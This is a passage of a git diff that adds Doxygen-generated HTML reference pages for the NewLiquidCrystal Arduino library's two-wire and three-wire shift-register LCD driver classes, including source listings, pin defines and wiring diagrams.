+00077                 fio_digitalWrite_HIGH(_srDataRegister, _srDataMask);
+00078                 waitUsec (1);         // enable pulse must be >450ns               
+00079                 fio_digitalWrite_SWITCHTO(_srDataRegister, _srDataMask, LOW);
+00080         } // end critical section
+00081 }
+00082 
+00083 // PUBLIC METHODS
+00084 // ---------------------------------------------------------------------------
+00085 
+00086 
+00087 /************ low level data pushing commands **********/
+00088 //
+00089 // send
+00090 void LiquidCrystal_SR2W::send(uint8_t value, uint8_t mode)
+00091 {
+00092         uint8_t myMode = ( mode == DATA ) ? SR2W_RS_MASK : 0; 
+00093    
+00094         myMode = myMode | SR2W_EN_MASK | _blMask;
+00095 
+00096         if ( mode != FOUR_BITS )
+00097         {
+00098                 loadSR(myMode | ((value >> 1) & SR2W_DATA_MASK)); // upper nibble
+00099         }
+00100 
+00101         loadSR(myMode | ((value << 3) & SR2W_DATA_MASK)); // lower nibble
+00102    
+00103         /*
+00104          * Don't call waitUsec()
+00105          * do our own delay optmization since this code is so fast it needs some added delay
+00106          * even on slower AVRs.
+00107          */
+00108 #if (F_CPU <= 16000000)
+00109         delayMicroseconds ( 10 );      // commands & data writes need > 37us to complete
+00110 #else
+00111         delayMicroseconds ( 37 );      // commands & data writes need > 37us to complete
+00112 #endif
+00113 }
+00114 
+00115 //
+00116 // setBacklight
+00117 void LiquidCrystal_SR2W::setBacklight ( uint8_t value ) 
+00118 { 
+00119         // Check for polarity to configure mask accordingly
+00120         // ----------------------------------------------------------
+00121         if  ( ((_blPolarity == POSITIVE) && (value > 0)) || 
+00122         ((_blPolarity == NEGATIVE ) && ( value == 0 )) )
+00123         {
+00124                 _blMask = SR2W_BL_MASK;
+00125         }
+00126         else 
+00127         {
+00128                 _blMask = 0;
+00129         }
+00130    
+00131         // send dummy data of blMask to set BL pin
+00132         // Note: loadSR() will strobe the data line trying to pulse EN
+00133         // but E will not strobe because the EN output bit is not set.
+00134         loadSR(_blMask); 
+00135 }
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r2_w_8h.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r2_w_8h.html new file mode 100644 index 0000000..0036b40 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r2_w_8h.html @@ -0,0 +1,191 @@ + + + + +LCD Library: LiquidCrystal_SR2W.h File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+Classes | +Defines
+
+
LiquidCrystal_SR2W.h File Reference
+
+
+
#include <inttypes.h>
+#include "LCD.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + + + + + + +

+Classes

class  LiquidCrystal_SR2W

+Defines

#define SR2W_BL_MASK   0x02
#define SR2W_DATA_MASK   0x78
#define SR2W_EN_MASK   0x80
#define SR2W_RS_MASK   0x04
+

Define Documentation

+ +
+
+ + + + +
#define SR2W_BL_MASK   0x02
+
+
+ +

Definition at line 132 of file LiquidCrystal_SR2W.h.

+ +
+
+ +
+
+ + + + +
#define SR2W_DATA_MASK   0x78
+
+
+ +

Definition at line 134 of file LiquidCrystal_SR2W.h.

+ +
+
+ +
+
+ + + + +
#define SR2W_EN_MASK   0x80
+
+
+ +

Definition at line 135 of file LiquidCrystal_SR2W.h.

+ +
+
+ +
+
+ + + + +
#define SR2W_RS_MASK   0x04
+
+
+ +

Definition at line 133 of file LiquidCrystal_SR2W.h.

+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r2_w_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r2_w_8h_source.html new file mode 100644 index 0000000..6a8ad81 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r2_w_8h_source.html @@ -0,0 +1,263 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR2W.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR2W.h
+
+
+
1 // ---------------------------------------------------------------------------
+
2 // Created/Adapted by Bill Perry 2012-03-16
+
3 // Copyright 2012 - Under creative commons license 3.0:
+
4 // Attribution-ShareAlike CC BY-SA
+
5 //
+
6 // This software is furnished "as is", without technical support, and with no
+
7 // warranty, express or implied, as to its usefulness for any purpose.
+
8 //
+
9 // @file LiquidCrystal_SR2W.h
+
10 // Connects a hd44780 LCD using 2 pins from the Arduino, via an 8-bit
+
11 // ShiftRegister (SR2W from now on).
+
12 //
+
13 // @brief
+
14 // This is the 2 wire shift register interface class for the LCD library
+
15 //
+
16 // The functionality provided by this class and its base class is a superset of
+
17 // the original functionality of the Arduino LiquidCrystal library and can
+
18 // be used as such.
+
19 // See the LCD class for a full description of the API functions available.
+
20 //
+
21 // It works with a 8-bit unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out)
+
22 // shift register (IE a very simple SR), and an hd44780 LCD in 4-bit mode.
+
23 // Any such shift register should do (pref. 74LS family IC's for 2-wire).
+
24 // 74LS164 and 74HC595 have been exstensively tested.
+
25 //
+
26 //
+
27 // 2 Pins required from the Arduino:
+
28 // - Data/Enable
+
29 // - Clock
+
30 // The Data pin is also used to control the enable signal
+
31 // LCD RW-pin hardwired to LOW (only writing to LCD).
+
32 // Busy Flag (BF, data bit D7) is not read.
+
33 //
+
34 // Original project homepage: http://code.google.com/p/arduinoshiftreglcd/
+
35 //
+
36 // Shift register bits
+
37 // Bit #0 - (cannot be used on 74HC595)
+
38 // Bit #1 - optional backlight control
+
39 // Bit #2 - connects to RS (Register Select) on the LCD
+
40 // Bit #3 - connects to LCD data inputs D4
+
41 // Bit #4 - connects to LCD data inputs D5
+
42 // Bit #5 - connects to LCD data inputs D6
+
43 // Bit #6 - connects to LCD data inputs D7
+
44 // Bit #7 - enables the LCD enable-puls (via the diode-resistor AND "gate")
+
45 //
+
46 // Wiring for a 74LS164
+
47 // ---------------------
+
48 // 1k/4.7k
+
49 // +--------[ Resistor ]--------+---(LCD Enable)
+
50 // | |
+
51 // | 74LS164 (VCC) |
+
52 // | +----u----+ | _V_ diode
+
53 // (data pin)---+---+--1-|A VCC|-14-+ |
+
54 // | | | |
+
55 // +--2-|B Q7|-13------+
+
56 // 3-|Q0 Q6|-12--(LCD D7)
+
57 // (BL Circuit)--------4-|Q1 Q5|-11--(LCD D6)
+
58 // (LCD RS)------------5-|Q2 Q4|-10--(LCD D5)
+
59 // (LCD D4)------------6-|Q3 /MR|--9--(VCC)
+
60 // +-7-|GND CP|--8--(clock pin)
+
61 // | +---------+
+
62 // | 0.1uf
+
63 // (gnd)-----||----(vcc)
+
64 //
+
65 // Wiring for a 74HC595
+
66 // --------------------
+
67 // NOTE: the 74HC595 is a latching shift register. In order to get it to operate
+
68 // in a "non latching" mode, RCLK and SCLK are tied together. The side effect of this
+
69 // is that the latched output is one clock behind behind the internal shift register bits.
+
70 // To compensate for this the wiring is offset by one bit position lower.
+
71 // For example, while the backlight is hooked to Q0 it is still using bit 1 of
+
72 // of the shift register because the outputs are 1 clock behind the real internal shift
+
73 // register.
+
74 //
+
75 // 74HC595 (VCC)
+
76 // +----u----+ | +-----------------------(BL circuit)
+
77 // (LCD RS)------------1-|Q1 VCC|-16-+ | +--------------------(data pin)
+
78 // (LCD D4)------------2-|Q2 Q0|-15----+ | 1k/4.7k
+
79 // (LCD D5)------------3-|Q3 SER|-14-------+---[ Resistor ]--+--(LCD Enable)
+
80 // (LCD D6)------------4-|Q4 /OE|-13--(gnd) |
+
81 // (LCD D7)------------5-|Q5 RCLK|-12-------+ |
+
82 // | | | |
+
83 // +------6-|Q6 SCLK|-11-------+--(clock pin) |
+
84 // | 7-|Q7 /MR|-10--(VCC) |
+
85 // | +-8-|GND Q6'|--9 |
+
86 // | | +---------+ diode _V_
+
87 // | | 0.1uf |
+
88 // | (gnd)-----||----(vcc) |
+
89 // +-----------------------------------------------+
+
90 //
+
91 //
+
92 // Backlight Control circuit
+
93 // -------------------------
+
94 // Because the shift resiter is not latching the outputs, the backlight circuitry
+
95 // will "see" the output bits as they are shifted into the shift register which
+
96 // can cause the backlight to flicker rather than remain constantly on/off.
+
97 // The circuit below slows down the transitions to the transistor to remove
+
98 // the visible flicker. When the BL input is HIGH the LCD backlight will turn on.
+
99 //
+
100 // (value depends on LCD, 100ohm is usually safe)
+
101 // (LCD BL anode)---[ resistor ]---(vcc)
+
102 //
+
103 // (LCD BL cathode)-------------------------------+
+
104 // |
+
105 // D
+
106 // |
+
107 // (BL input)----[ 4.7k Resistor ]----+-------G-|-< (2N7000 FET)
+
108 // | |
+
109 // (0.1uf) = S
+
110 // | |
+
111 // (gnd) (gnd)
+
112 //
+
113 //
+
114 //
+
115 //
+
116 // History
+
117 // 2012.03.16 bperrybap - creation/adaption from SR header to create SR2W header.
+
118 // Fixed typo in SR2W mask define names
+
119 // @author B. Perry - bperrybap@opensource.billsworld.billandterrie.com
+
120 // --------------------------------------------------------------------------------
+
121 #ifndef _LIQUIDCRYSTAL_SR2W_
+
122 #define _LIQUIDCRYSTAL_SR2W_
+
123 
+
124 #include <inttypes.h>
+
125 #include "LCD.h"
+
126 #include "FastIO.h"
+
127 
+
128 
+
129 // two-wire SR output bit constants
+
130 // ---------------------------------------------------------------------------
+
131 
+
132 #define SR2W_BL_MASK 0x02
+
133 #define SR2W_RS_MASK 0x04
+
134 #define SR2W_DATA_MASK 0x78 // data bits are hard coded to be SR bits 6,5,4,3
+
135 #define SR2W_EN_MASK 0x80 // cannot ever be changed
+
136 
+
137 class LiquidCrystal_SR2W : public LCD
+
138 {
+
139 public:
+
151  LiquidCrystal_SR2W (uint8_t srdata, uint8_t srclock, t_backlighPol blpol = POSITIVE);
+
152 
+
165  virtual void send(uint8_t value, uint8_t mode);
+
166 
+
167 
+
177  void setBacklight ( uint8_t mode );
+
178 
+
179 private:
+
180 
+
186  void init ( uint8_t srdata, uint8_t srclock, t_backlighPol blpol, uint8_t lines, uint8_t font );
+
187 
+
192  void loadSR (uint8_t val);
+
193 
+
194  fio_register _srDataRegister; // Serial Data pin
+
195  fio_bit _srDataMask;
+
196  fio_register _srClockRegister; // Clock Pin
+
197  fio_bit _srClockMask;
+
198 
+
199  uint8_t _blPolarity;
+
200  uint8_t _blMask;
+
201 };
+
202 #endif
+
LiquidCrystal_SR2W::setBacklight
void setBacklight(uint8_t mode)
Definition: LiquidCrystal_SR2W.cpp:117
+
LiquidCrystal_SR2W
Definition: LiquidCrystal_SR2W.h:137
+
LCD
Definition: LCD.h:187
+
LiquidCrystal_SR2W::LiquidCrystal_SR2W
LiquidCrystal_SR2W(uint8_t srdata, uint8_t srclock, t_backlighPol blpol=POSITIVE)
Definition: LiquidCrystal_SR2W.cpp:37
+
LiquidCrystal_SR2W::send
virtual void send(uint8_t value, uint8_t mode)
Definition: LiquidCrystal_SR2W.cpp:90
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8cpp.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8cpp.html new file mode 100644 index 0000000..215b179 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8cpp.html @@ -0,0 +1,276 @@ + + + + +LCD Library: LiquidCrystal_SR3W.cpp File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+Defines
+
+
LiquidCrystal_SR3W.cpp File Reference
+
+
+
#include <stdio.h>
+#include <string.h>
+#include <inttypes.h>
+#include <WProgram.h>
+#include "LiquidCrystal_SR3W.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + + + + + + + + + +

+Defines

#define D4   0
#define D5   1
#define D6   2
#define D7   3
#define EN   4
#define LCD_BACKLIGHT   0xFF
#define LCD_NOBACKLIGHT   0x00
#define RS   6
#define RW   5
+

Define Documentation

+ +
+
+ + + + +
#define D4   0
+
+
+

LCD dataline allocation this library only supports 4 bit LCD control mode. D4, D5, D6, D7 LCD data lines pin mapping of the extender module

+ +

Definition at line 126 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define D5   1
+
+
+ +

Definition at line 127 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define D6   2
+
+
+ +

Definition at line 128 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define D7   3
+
+
+ +

Definition at line 129 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define EN   4
+
+
+

Enable bit of the LCD Defines the IO of the expander connected to the LCD's Enable

+ +

Definition at line 104 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define LCD_BACKLIGHT   0xFF
+
+
+

LCD_BACKLIGHT BACKLIGHT MASK used when backlight is on

+ +

Definition at line 93 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define LCD_NOBACKLIGHT   0x00
+
+
+

LCD_NOBACKLIGHT No BACKLIGHT MASK

+ +

Definition at line 86 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define RS   6
+
+
+

Register bit of the LCD Defines the IO of the expander connected to the LCD's Register select pin

+ +

Definition at line 118 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define RW   5
+
+
+

Read/Write bit of the LCD Defines the IO of the expander connected to the LCD's Rw pin

+ +

Definition at line 111 of file LiquidCrystal_SR3W.cpp.

+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8cpp_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8cpp_source.html new file mode 100644 index 0000000..f85668b --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8cpp_source.html @@ -0,0 +1,363 @@ + + + + +LCD Library: LiquidCrystal_SR3W.cpp Source File + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LiquidCrystal_SR3W.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 7.3.2012.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_SRG.h
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK but using a generic SHIFT REGISTER extension board.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the LiquidCrystal library of the
+00018 // Arduino SDK. The original library has been reworked in such a way that 
+00019 // this class implements the all methods to command an LCD based
+00020 // on the Hitachi HD44780 and compatible chipsets using a 3 wire latching
+00021 // shift register. While it has been tested with a 74HC595N shift register
+00022 // it should also work with other latching shift registers such as the MC14094
+00023 // and the HEF4094
+00024 //
+00025 // This particular driver has been created as generic as possible to enable
+00026 // users to configure and connect their LCDs using just 3 digital IOs from the
+00027 // AVR or Arduino, and connect the LCD to the outputs of the shiftregister
+00028 // in any configuration. The library is configured by passing the IO pins
+00029 // that control the strobe, data and clock of the shift register and a map
+00030 // of how the shiftregister is connected to the LCD.
+00031 // 
+00032 //
+00033 //   +--------------------------------------------+
+00034 //   |                 MCU                        |
+00035 //   |   IO1           IO2           IO3          |
+00036 //   +----+-------------+-------------+-----------+
+00037 //        |             |             |
+00038 //        |             |             |
+00039 //   +----+-------------+-------------+-----------+
+00040 //   |    Strobe        Data          Clock       |
+00041 //   |          8-bit shift/latch register        | 74HC595N
+00042 //   |    Qa0  Qb1  Qc2  Qd3  Qe4  Qf5  Qg6  Qh7  |
+00043 //   +----+----+----+----+----+----+----+----+----+
+00044 //        |    |    |    |    |    |    |    
+00045 //        |11  |12  |13  |14  |6   |5   |4   (LCD pins)
+00046 //   +----+----+----+----+----+----+----+----+----+
+00047 //   |    DB4  DB5  DB6  DB7  E    Rw   RS        |
+00048 //   |                 LCD Module                 |
+00049 //
+00050 // NOTE: Rw is not used by the driver so it can be connected to GND.
+00051 //
+00052 // The functionality provided by this class and its base class is identical
+00053 // to the original functionality of the Arduino LiquidCrystal library.
+00054 //
+00055 //
+00056 // History
+00057 // 2012.03.29 bperrybap - fixed constructors not properly using Rs
+00058 //                        Fixed incorrect use of 5x10 for default font 
+00059 //                        - now matches original LQ library.
+00060 //                        moved delay to send() so it is per cmd/write vs shiftout()
+00061 //                        NOTE: delay is on hairy edge of working when FAST_MODE is on.
+00062 //                        because of waitUsec().
+00063 //                        There is margin at 16Mhz AVR but might fail on 20Mhz AVRs.
+00064 //                        
+00065 // @author F. Malpartida - fmalpartida@gmail.com
+00066 // ---------------------------------------------------------------------------
+00067 // flags for backlight control
+00068 #include <stdio.h>
+00069 #include <string.h>
+00070 #include <inttypes.h>
+00071 
+00072 #if (ARDUINO <  100)
+00073 #include <WProgram.h>
+00074 #else
+00075 #include <Arduino.h>
+00076 #endif
+00077 #include "LiquidCrystal_SR3W.h"
+00078 
+00079 #include "FastIO.h"
+00080 
+00086 #define LCD_NOBACKLIGHT 0x00
+00087 
+00093 #define LCD_BACKLIGHT   0xFF
+00094 
+00095 
+00096 // Default library configuration parameters used by class constructor with
+00097 // only the I2C address field.
+00098 // ---------------------------------------------------------------------------
+00104 #define EN 4  // Enable bit
+00105 
+00111 #define RW 5  // Read/Write bit
+00112 
+00118 #define RS 6  // Register select bit
+00119 
+00126 #define D4 0
+00127 #define D5 1
+00128 #define D6 2
+00129 #define D7 3
+00130 
+00131 
+00132 
+00133 LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe)
+00134 {
+00135    init( data, clk, strobe, RS, RW, EN, D4, D5, D6, D7 );
+00136 }
+00137 
+00138 LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe,
+00139                                        uint8_t backlighPin, t_backlighPol pol)
+00140 {
+00141    init( data, clk, strobe, RS, RW, EN, D4, D5, D6, D7 );
+00142    setBacklightPin(backlighPin, pol);
+00143 }
+00144 
+00145 LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe,
+00146                                        uint8_t En, uint8_t Rw, uint8_t Rs, 
+00147                                        uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 )
+00148 {
+00149    init( data, clk, strobe, Rs, Rw, En, d4, d5, d6, d7 );
+00150 }
+00151 
+00152 LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, 
+00153                                        uint8_t En, uint8_t Rw, uint8_t Rs, 
+00154                                        uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+00155                                        uint8_t backlighPin, t_backlighPol pol)
+00156 {
+00157    init( data, clk, strobe, Rs, Rw, En, d4, d5, d6, d7 );
+00158    setBacklightPin(backlighPin, pol);
+00159 }
+00160 
+00161 
+00162 void LiquidCrystal_SR3W::send(uint8_t value, uint8_t mode)
+00163 {
+00164    
+00165    if ( mode != FOUR_BITS )
+00166    {
+00167       write4bits( (value >> 4), mode ); // upper nibble
+00168    }   
+00169    write4bits( (value & 0x0F), mode); // lower nibble
+00170 
+00171 
+00172 #if (F_CPU <= 16000000)
+00173    // No need to use the delay routines on AVR since the time taken to write
+00174    // on AVR with SR pin mapping even with fio is longer than LCD command execution.
+00175    waitUsec(37); //goes away on AVRs
+00176 #else
+00177    delayMicroseconds ( 37 );      // commands & data writes need > 37us to complete
+00178 #endif
+00179 
+00180 }
+00181 
+00182 
+00183 void LiquidCrystal_SR3W::setBacklightPin ( uint8_t value, t_backlighPol pol = POSITIVE )
+00184 {
+00185    _backlightPinMask = ( 1 << value );
+00186    _backlightStsMask = LCD_NOBACKLIGHT;
+00187    _polarity = pol;
+00188    setBacklight (BACKLIGHT_OFF);     // Set backlight to off as initial setup
+00189 }
+00190 
+00191 void LiquidCrystal_SR3W::setBacklight ( uint8_t value )
+00192 {
+00193    // Check if backlight is available
+00194    // ----------------------------------------------------
+00195    if ( _backlightPinMask != 0x0 )
+00196    {
+00197       // Check for polarity to configure mask accordingly
+00198       // ----------------------------------------------------------
+00199       if  (((_polarity == POSITIVE) && (value > 0)) || 
+00200            ((_polarity == NEGATIVE ) && ( value == 0 )))
+00201       {
+00202          _backlightStsMask = _backlightPinMask & LCD_BACKLIGHT;
+00203       }
+00204       else 
+00205       {
+00206          _backlightStsMask = _backlightPinMask & LCD_NOBACKLIGHT;
+00207       }
+00208       loadSR( _backlightStsMask );
+00209    }
+00210 }
+00211 
+00212 
+00213 // PRIVATE METHODS
+00214 // -----------------------------------------------------------------------------
+00215 
+00216 int LiquidCrystal_SR3W::init(uint8_t data, uint8_t clk, uint8_t strobe, 
+00217                              uint8_t Rs, uint8_t Rw, uint8_t En,
+00218                              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
+00219 {
+00220    _data       = fio_pinToBit(data);
+00221    _clk        = fio_pinToBit(clk);
+00222    _strobe     = fio_pinToBit(strobe);
+00223    _data_reg   = fio_pinToOutputRegister(data);
+00224    _clk_reg    = fio_pinToOutputRegister(clk);
+00225    _strobe_reg = fio_pinToOutputRegister(strobe);
+00226    
+00227    // LCD pin mapping
+00228    _backlightPinMask = 0;
+00229    _backlightStsMask = LCD_NOBACKLIGHT;
+00230    _polarity = POSITIVE;
+00231    
+00232    _En = ( 1 << En );
+00233    _Rw = ( 1 << Rw );
+00234    _Rs = ( 1 << Rs );
+00235    
+00236    // Initialise pin mapping
+00237    _data_pins[0] = ( 1 << d4 );
+00238    _data_pins[1] = ( 1 << d5 );
+00239    _data_pins[2] = ( 1 << d6 );
+00240    _data_pins[3] = ( 1 << d7 );
+00241    
+00242    _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00243    
+00244    return (1);
+00245 }
+00246 
+00247 void LiquidCrystal_SR3W::write4bits(uint8_t value, uint8_t mode)
+00248 {
+00249    uint8_t pinMapValue = 0;
+00250    
+00251    // Map the value to LCD pin mapping
+00252    // --------------------------------
+00253    for ( uint8_t i = 0; i < 4; i++ )
+00254    {
+00255       if ( ( value & 0x1 ) == 1 )
+00256       {
+00257          pinMapValue |= _data_pins[i];
+00258       }
+00259       value = ( value >> 1 );
+00260    }
+00261    
+00262    // Is it a command or data
+00263    // -----------------------
+00264    mode = ( mode == DATA ) ? _Rs : 0;
+00265    
+00266    pinMapValue |= mode | _backlightStsMask;
+00267    loadSR ( pinMapValue | _En );  // Send with enable high
+00268    loadSR ( pinMapValue); // Send with enable low
+00269 }
+00270 
+00271 
+00272 void LiquidCrystal_SR3W::loadSR(uint8_t value) 
+00273 {
+00274    // Load the shift register with information
+00275    fio_shiftOut(_data_reg, _data, _clk_reg, _clk, value, MSBFIRST);
+00276    
+00277    // Strobe the data into the latch
+00278    ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00279    {
+00280       fio_digitalWrite_HIGH(_strobe_reg, _strobe);
+00281       fio_digitalWrite_SWITCHTO(_strobe_reg, _strobe, LOW);
+00282    }
+00283 }
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8h.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8h.html new file mode 100644 index 0000000..90e61fa --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8h.html @@ -0,0 +1,123 @@ + + + + +LCD Library: LiquidCrystal_SR3W.h File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+Classes
+
+
LiquidCrystal_SR3W.h File Reference
+
+
+
#include <inttypes.h>
+#include "LCD.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + +

+Classes

class  LiquidCrystal_SR3W
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8h_source.html new file mode 100644 index 0000000..62eaedd --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8h_source.html @@ -0,0 +1,220 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR3W.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR3W.h
+
+
+
1 // ---------------------------------------------------------------------------
+
2 // Created by Francisco Malpartida on 7.3.2012.
+
3 // Copyright 2011 - Under creative commons license 3.0:
+
4 // Attribution-ShareAlike CC BY-SA
+
5 //
+
6 // This software is furnished "as is", without technical support, and with no
+
7 // warranty, express or implied, as to its usefulness for any purpose.
+
8 //
+
9 // Thread Safe: No
+
10 // Extendable: Yes
+
11 //
+
12 // @file LiquidCrystal_SR3W.h
+
13 // This file implements a basic liquid crystal library that comes as standard
+
14 // in the Arduino SDK but using a generic SHIFT REGISTER extension board.
+
15 //
+
16 // @brief
+
17 // This is a basic implementation of the LiquidCrystal library of the
+
18 // Arduino SDK. The original library has been reworked in such a way that
+
19 // this class implements the all methods to command an LCD based
+
20 // on the Hitachi HD44780 and compatible chipsets using a 3 wire latching
+
21 // shift register. While it has been tested with a 74HC595N shift register
+
22 // it should also work with other latching shift registers such as the MC14094
+
23 // and the HEF4094
+
24 //
+
25 // This particular driver has been created as generic as possible to enable
+
26 // users to configure and connect their LCDs using just 3 digital IOs from the
+
27 // AVR or Arduino, and connect the LCD to the outputs of the shiftregister
+
28 // in any configuration. The library is configured by passing the IO pins
+
29 // that control the strobe, data and clock of the shift register and a map
+
30 // of how the shiftregister is connected to the LCD.
+
31 //
+
32 //
+
33 // +--------------------------------------------+
+
34 // | MCU |
+
35 // | IO1 IO2 IO3 |
+
36 // +----+-------------+-------------+-----------+
+
37 // | | |
+
38 // | | |
+
39 // +----+-------------+-------------+-----------+
+
40 // | Strobe Data Clock |
+
41 // | 8-bit shift/latch register | 74HC595N
+
42 // | Qa0 Qb1 Qc2 Qd3 Qe4 Qf5 Qg6 Qh7 |
+
43 // +----+----+----+----+----+----+----+----+----+
+
44 // | | | | | | |
+
45 // |11 |12 |13 |14 |6 |5 |4 (LCD pins)
+
46 // +----+----+----+----+----+----+----+----+----+
+
47 // | DB4 DB5 DB6 DB7 E Rw RS |
+
48 // | LCD Module |
+
49 //
+
50 // NOTE: Rw is not used by the driver so it can be connected to GND.
+
51 //
+
52 // The functionality provided by this class and its base class is identical
+
53 // to the original functionality of the Arduino LiquidCrystal library.
+
54 //
+
55 //
+
56 // @author F. Malpartida - fmalpartida@gmail.com
+
57 // ---------------------------------------------------------------------------
+
58 #ifndef _LIQUIDCRYSTAL_SR3W_H_
+
59 #define _LIQUIDCRYSTAL_SR3W_H_
+
60 
+
61 #include <inttypes.h>
+
62 #include "LCD.h"
+
63 #include "FastIO.h"
+
64 
+
65 
+
66 class LiquidCrystal_SR3W : public LCD
+
67 {
+
68 public:
+
69 
+
90  LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe);
+
91  // Constructor with backlight control
+
92  LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe,
+
93  uint8_t backlighPin, t_backlighPol pol);
+
94 
+
112  LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe,
+
113  uint8_t En, uint8_t Rw, uint8_t Rs,
+
114  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 );
+
115  // Constructor with backlight control
+
116  LiquidCrystal_SR3W( uint8_t data, uint8_t clk, uint8_t strobe,
+
117  uint8_t En, uint8_t Rw, uint8_t Rs,
+
118  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+
119  uint8_t backlighPin, t_backlighPol pol);
+
120 
+
133  virtual void send(uint8_t value, uint8_t mode);
+
134 
+
145  void setBacklightPin ( uint8_t value, t_backlighPol pol );
+
146 
+
156  void setBacklight ( uint8_t value );
+
157 
+
158 private:
+
159 
+
165  int init(uint8_t data, uint8_t clk, uint8_t strobe,
+
166  uint8_t Rs, uint8_t Rw, uint8_t En,
+
167  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7);
+
168 
+
177  void write4bits(uint8_t value, uint8_t mode);
+
178 
+
185  void loadSR(uint8_t value);
+
186 
+
187 
+
